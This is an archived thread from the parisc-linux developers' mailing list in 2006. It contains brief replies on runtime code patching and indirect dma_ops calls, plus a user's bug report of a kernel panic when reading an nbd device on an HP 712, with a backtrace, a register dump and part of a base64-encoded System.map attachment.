	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23775-07; Mon, 6 Mar 2006 10:07:29 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id AEBB0360031; Mon,  6 Mar 2006 10:07:29 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <440907C5.7050503@tausq.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: twx+ZF43eSEkPL6WZHQhaXN1IGRvbwCh
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23440

On Sat, Mar 04, 2006 at 11:21:41AM +0800, Randolph Chung wrote:
> Just my 2 cents, but unless it is code that is performance critical and
> we can demonstrate a significant difference on a particular measurement,
> and it is not something that can be determined at compile time, I think
> we should do runtime code patching sparingly. If nothing else, it makes
> the code harder to read and perhaps to debug.

Agreed. I was just stretching a bit to find an example.

cheers,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] alternate insn for parisc (ccio/sba)
Date: Mon, 6 Mar 2006 10:20:42 -0700
Lines: 26
Approved: news@gmane.org
Message-ID: <20060306172042.GD21702@colo.lackof.org>
References: <20060303201428.GA25283@quicksilver.road.mcmartin.ca>
	<20060304003802.GB18473@colo.lackof.org>
	<20060306160515.GB3208@quicksilver.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624013 18472 80.91.229.3 (22 Nov 2014 02:40:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Mar 2006 17:10:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx041) with SMTP; 06 Mar 2006 18:10:21 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 360547D66E;
	Mon,  6 Mar 2006 10:10:12 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12373-05; Mon, 6 Mar 2006 10:10:12 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8C73B7D672;
	Mon,  6 Mar 2006 10:10:11 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E46DA7D665
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  6 Mar 2006 10:10:08 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12357-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 6 Mar 2006 10:10:08 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 49A567D662
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  6 Mar 2006 10:10:08 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id ABAAB36003C;
	Mon,  6 Mar 2006 10:20:42 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25892-03; Mon, 6 Mar 2006 10:20:42 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 4ACBA360031; Mon,  6 Mar 2006 10:20:42 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20060306160515.GB3208@quicksilver.road.mcmartin.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: qQl+ZLkUeSEkW76WZHQhaXN1IGRvbwBK
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23441

On Mon, Mar 06, 2006 at 11:05:15AM -0500, Kyle McMartin wrote:
> I just got an idea for fixing the indirect calls style thing... Would it
> be possible to do "run time" relocation of certain indirect calls if we
> know they won't ever differ for a given kernel boot?

dma_ops table doesn't change once it's initialized.
But I've still got Randolph's caution rattling around in my head.

>  I guess it wouldn't
> be too terribly difficult if the linker would just leave certain relocations
> unprocessed, and make sure all possible, for example, dma_ops function
> pointers were reachable from the given stub? 

dma_ops map/unmap calls are in performance critical code path.
It would be helpful to get rid of the indirect dma_ops calls IFF the
resulting code is supportable. ie the average driver writer needs
to be able to follow it.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?Vincent_Stehl=E9?= <vincent.stehle@free.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Bug report: 2.6.15 crash when accessing nbd on a 712.
Date: Mon, 06 Mar 2006 23:35:53 +0100
Lines: 2800
Approved: news@gmane.org
Message-ID: <440CB949.7040706@free.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="------------050809080604040400070904"
X-Trace: ger.gmane.org 1416624013 18476 80.91.229.3 (22 Nov 2014 02:40:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:13 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Mar 2006 15:44:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx087) with SMTP; 09 Mar 2006 16:44:52 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 979E67D683;
	Thu,  9 Mar 2006 08:44:40 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09500-05; Thu, 9 Mar 2006 08:44:40 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 943E57D687;
	Thu,  9 Mar 2006 08:44:39 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 107DD7D672
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  6 Mar 2006 15:37:21 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14448-10 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 6 Mar 2006 15:37:20 -0700 (MST)
Original-Received: from smtp5-g19.free.fr (smtp5-g19.free.fr [212.27.42.35])
	by free.linux.hp.com (Postfix) with ESMTP id 62EF77D66E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  6 Mar 2006 15:37:18 -0700 (MST)
Original-Received: from rikiki.bergerie (vau06-1-82-228-252-113.fbx.proxad.net
	[82.228.252.113])
	by smtp5-g19.free.fr (Postfix) with ESMTP id 685C31876D
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  6 Mar 2006 23:37:14 +0100 (CET)
Original-Received: from cocotte-et-le-loup.bergerie ([192.168.123.4])
	by rikiki.bergerie with esmtp (Exim 3.36 #1 (Debian))
	id 1FGOJ3-0002vC-00 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 06 Mar 2006 23:35:57 +0100
User-Agent: Debian Thunderbird 1.0.2 (X11/20051002)
X-Accept-Language: en-us, en
X-bergerie-MailScanner: Found to be clean
X-bergerie-MailScanner-From: vincent.stehle@free.fr
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-Mailman-Approved-At: Thu, 09 Mar 2006 08:44:36 -0700
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: IihiZOIgeSEkJb6WZHQhaXN1IGRvb0BY
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23442

This is a multi-part message in MIME format.
--------------050809080604040400070904
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 8bit


Hi!

I have a 712 workstation at home and try to make it a diskless debian 
station.

I have other diskless machines where I do swap over nbd without problem 
(debian 2.6.15). I tried the same on the hp, but accessing /dev/nb0 
results in a crash.

I tried to have nbd in module or not, but this does not change anything.

I do not have the skills to go any further but do a bug report. If you 
need more informations just ask, I'd be glad to provide them.

Thanks in advance for any help.

Best regards,

     -- Vincent Stehl


--- BUG REPORT ---

# Version of the kernel you are running (output of the uname -a command)

Linux hp 2.6.15.060305 #3 Mon Mar 6 00:32:17 CET 2006 parisc GNU/Linux

# What compiler and linker did you use to build the kernel? (gcc 3.0.4? 
3.2? What version of binutils? Are you cross-compiling?)

vincent@hp:vincent$ gcc -v
Reading specs from /usr/lib/gcc-lib/hppa-linux/3.3.5/specs
Configured with: ../src/configure -v 
--enable-languages=c,c++,java,f77,pascal,objc,ada,treelang --prefix=/usr 
--mandir=/usr/share/man --infodir=/usr/share/info 
--with-gxx-include-dir=/usr/include/c++/3.3 --enable-shared 
--enable-__cxa_atexit --with-system-zlib --enable-nls 
--without-included-gettext --enable-sjlj-exceptions --enable-clocale=gnu 
--enable-debug --enable-java-gc=boehm --enable-java-awt=xlib 
--enable-objc-gc hppa-linux
Thread model: posix
gcc version 3.3.5 (Debian 1:3.3.5-13)

# What machine you are booting the kernel on? (712/80? B132L? C3000?)

712/100

# Does it have a remote management card?

I don't know.

# Are you trying to use serial console or graphics console?

Serial console @9600 baud. Works fine.

# What kernel command line is palo using?

--commandline=0/vmlinux HOME=/ root=/dev/nfs nfsroot=/hp-root ip=::::::

# Are you using a 32-bit or 64-bit kernel

32-bit.

# Register dumps - Usually, when a parisc-linux kernel crashes (or 
encounters a problem), a register dump (and/or a stack dump -- 
especially in 2.6 kernels) will be displayed on the console, or logged 
to syslog. You should include this information in your bug report.

(see attached hppa-crash.txt)

# The System.map file that corresponds to the kernel you are booting - 
it's preferable if you can put it someplace and supply a URL for it. If 
not, please bzip the file before sending it to the list

(see attached System.map-2.6.15.060305.bz2)

# Console output immediately preceding the crash or problem you observed

(see attached hppa-crash.txt)

# If you are not using a default config, the .config you used to build 
your kernel

(see attached config.bz2)

-- 
Vincent Stehl

--------------050809080604040400070904
Content-Type: text/plain;
 name="hppa-crash.txt"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="hppa-crash.txt"


Debian GNU/Linux 3.1 hp ttyS0

hp login: i root
Password: 
Last login: Thu May 26 21:12:18 2005 on ttyS0
Linux hp 2.6.15.060305 #3 Mon Mar 6 00:32:17 CET 2006 parisc GNU/Linux

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
hp:~# nbd-client rikiki 12347 /dev/nb0
Negotiation: ..size = 65536KB
bs=1024, sz=65536
hp:~# mk  dd if=/dev/nb0 of=/dev/null
Backtrace:
 [<10159c60>] __blk_queue_bounce+0x200/0x28c
 [<1021e278>] __make_request+0x74/0x53c
 [<1021e8e0>] generic_make_request+0xf8/0x160
 [<1021e9b0>] submit_bio+0x68/0x130
 [<10172f74>] submit_bh+0x10c/0x1b8
 [<10171d78>] block_read_full_page+0x1e0/0x32c
 [<10152784>] read_pages+0xc4/0x164
 [<101528e0>] __do_page_cache_readahead+0xbc/0x1ac
 [<10152b94>] blockable_page_cache_readahead+0x68/0xe0
 [<10152e08>] page_cache_readahead+0x140/0x1a8
 [<1014b37c>] do_generic_mapping_read+0x47c/0x4b4
 [<1014b6c8>] __generic_file_aio_read+0x1ac/0x1cc
 [<1014b7f0>] generic_file_read+0x88/0xb0
 [<1016d804>] vfs_read+0xe0/0x1ac
 [<1016dbfc>] sys_read+0x5c/0xa8
 [<1010d114>] syscall_exit+0x0/0x14


Kernel Fault: Code=26 regs=16b249c0 (Addr=0000000c)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001101111111100001111 Not tainted
r00-03  00000000 10231000 10159c60 00011210
r04-07  00000000 00011200 00000000 10549720
r08-11  16b24818 00000000 1070d4c0 103fe010
r12-15  00000000 10000000 103fe010 101768bc
r16-19  16b242c8 1052f0a0 00000001 ffffffaf
r20-23  10173734 1054b390 1054b39c 00000000
r24-27  00000000 00000010 00000000 10359010
r28-31  10549720 00000000 16b249c0 1014e0e0
sr0-3   00000000 00000000 00000000 00000116
sr4-7   00000000 00000000 00000000 00000000

      VZOUICununcqcqcqcqcqcrmunTDVZOUI
FPSR: 00001000000000000000000000000000
FPER1: 00000000
fr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
fr04-07  107172c010681874 0000000010182cac 4a5e8e00103f2848 10095aa810369894
fr08-11  0000000300000000 107172c043f02aa9 00000002103f2810 3b9aca0010369b38
fr12-15  103ea810103b3810 103eb0001017cbbc 1036b66c0000000f 1036b66c10429d40
fr16-19  fffffff4103f35e3 103f301010305384 1009009c1030538f 4a5e8e00103f2848
fr20-23  10095aa810369894 10369a081016c97c 3eb0c6f7a0b5ed8d 440cb1830000000a
fr24-27  41d1032c60ec8bca 3fe645e4e69f05ea 412e848000000000 000000084a5e8e00
fr28-31  0000002010526000 000000001016ca9c 0000000000000000 0000000000000000

IASQ: 00000000 00000000 IAOQ: 1014e0cc 1014e0d0
 IIR: 0c981099    ISR: 00000000  IOR: 0000000c
 CPU:        0   CR30: 16b24000 CR31: 103ac000
 ORIG_R28: 1013ee3c
 IAOQ[0]: mempool_alloc+0x34/0xfc
 IAOQ[1]: mempool_alloc+0x38/0xfc
 RP(r2): __blk_queue_bounce+0x200/0x28c
Kernel panic - not syncing: Kernel Fault
 <0>Rebooting in 60 seconds..
--------------050809080604040400070904
Content-Type: application/x-bzip2;
 name="System.map-2.6.15.060305.bz2"
Content-Transfer-Encoding: base64
Content-Disposition: inline;
 filename="System.map-2.6.15.060305.bz2"

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
